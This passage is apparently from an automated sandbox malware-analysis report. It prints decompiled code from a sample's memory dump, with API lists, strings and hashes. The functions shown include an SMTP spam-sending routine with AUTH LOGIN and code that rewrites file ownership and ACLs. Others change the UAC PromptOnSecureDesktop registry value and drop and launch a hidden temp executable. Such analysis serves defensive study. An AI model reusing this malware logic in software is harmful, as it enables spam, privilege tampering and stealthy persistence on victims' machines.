										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

., xrefs: 0040A8CA
quit, xrefs: 0040A86C
helo %s, xrefs: 0040A803
mail from:<%s>, xrefs: 0040A848
Incorrect respons, xrefs: 0040AB39
localcfg, xrefs: 0040AB0B
data, xrefs: 0040A85E
rcpt to:<%s>, xrefs: 0040A855
AUTH LOGIN, xrefs: 0040A80C
Too small respons, xrefs: 0040A9C9
Too big smtp respons (%d bytes), xrefs: 0040A9B1
ESMTP, xrefs: 0040AA38
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
ehlo %s, xrefs: 0040A7F5

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00637A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00637A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00637AB6
GetLengthSid.ADVAPI32(?), ref: 00637AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 00637AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00637B08
EqualSid.ADVAPI32(?,?), ref: 00637B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 00637B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00637B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00637B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00637B60
LocalFree.KERNEL32(00000000), ref: 00637B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00637B83
GetAce.ADVAPI32(?,?,?), ref: 00637BB3
EqualSid.ADVAPI32(?,?), ref: 00637BDA
DeleteAce.ADVAPI32(?,?), ref: 00637BF3
EqualSid.ADVAPI32(?,?), ref: 00637C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 00637C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00637CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00637CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00637CC9
LocalFree.KERNEL32(00000000), ref: 00637CD7

Strings

D, xrefs: 00637AAC

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: e950120ce005000fa8c83346f94bd7786e2ae29d76d8995aa22344c77d2946be
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: B3814DB1D0421DAFDB21CFA5DD84FEEBBB9EF08340F14806AE505E6250D7759A41CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
